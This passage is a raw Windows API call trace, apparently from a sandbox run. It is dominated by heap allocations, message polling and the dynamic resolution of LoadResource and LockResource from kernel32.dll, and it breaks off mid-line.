[0131.993] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.993] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015bc0 [0131.993] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015bc0 | out: hHeap=0xe80000) returned 1 [0131.994] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.994] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0131.994] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.994] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0131.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.994] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.994] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0131.995] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0131.995] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.995] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.995] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.995] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0131.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0131.995] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.996] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0131.996] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.996] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.996] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0131.996] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0131.996] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.996] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.996] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.996] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0131.997] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.997] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0131.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.997] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0131.997] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.997] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bc8 [0131.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.997] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0131.997] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0131.997] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.997] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0131.998] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0131.998] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.998] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.998] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0131.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.999] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0131.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0d8 [0131.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf178 [0131.999] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0131.999] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.999] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.999] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0d8 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1d8 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0132.000] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0132.000] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.000] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0132.001] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0132.001] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0132.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadResource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0132.001] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xd) returned 0x1076d78 [0132.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadResource", cchWideChar=13, lpMultiByteStr=0x1076d78, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LoadResource", lpUsedDefaultChar=0x0) returned 13 [0132.001] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0132.001] GetProcAddress (hModule=0x770a0000, lpProcName="LoadResource") returned 0x770b76f0 [0132.001] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0132.001] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0132.001] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1758 [0132.001] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf148 [0132.001] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0132.001] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0132.001] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.002] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1758 | out: hHeap=0xe80000) returned 1 [0132.002] LoadResource (hModule=0x0, hResInfo=0x377698) returned 0x3c9998 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0x107f3f8 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076c40 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf138 [0132.002] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0132.002] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.002] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.002] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf138 [0132.002] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0132.002] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.002] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0132.003] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.003] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0132.003] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0132.003] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf138 [0132.003] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0132.003] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.003] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0132.003] FreeLibrary (hLibModule=0x770a0000) returned 1 [0132.003] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.003] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0132.003] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0132.003] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0132.003] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.003] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.003] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0132.004] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1758 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0132.004] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0132.004] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1938 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0132.004] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0132.004] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.004] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.005] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.005] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.005] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0132.005] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0132.005] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0132.005] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0132.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LockResource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0132.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LockResource", cchWideChar=13, lpMultiByteStr=0x1076d00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LockResource", lpUsedDefaultChar=0x0) returned 13 [0132.006] GetProcAddress (hModule=0x770a0000, lpProcName="LockResource") returned 0x770b7890 [0132.006] LockResource (hResData=0x3c9998) returned 0x3c9998 [0132.006] FreeLibrary (hLibModule=0x770a0000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18c0 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0132.006] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0132.007] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0132.007] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0132.007] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0132.007] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0132.007] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0132.007] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0132.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bf8 | out: hHeap=0xe80000) returned 1 [0132.008] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0132.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0132.008] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0d8 [0132.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec32c0 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bf8 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0132.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0132.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0132.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0132.008] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.009] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0132.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0132.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0132.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0132.009] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0132.009] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0132.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0132.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0132.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0132.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0132.010] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015cc0 | out: hHeap=0xe80000) returned 1 [0132.010] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0132.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0132.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.010] RtlAllocateHeap (HeapHandle=0xe80000, 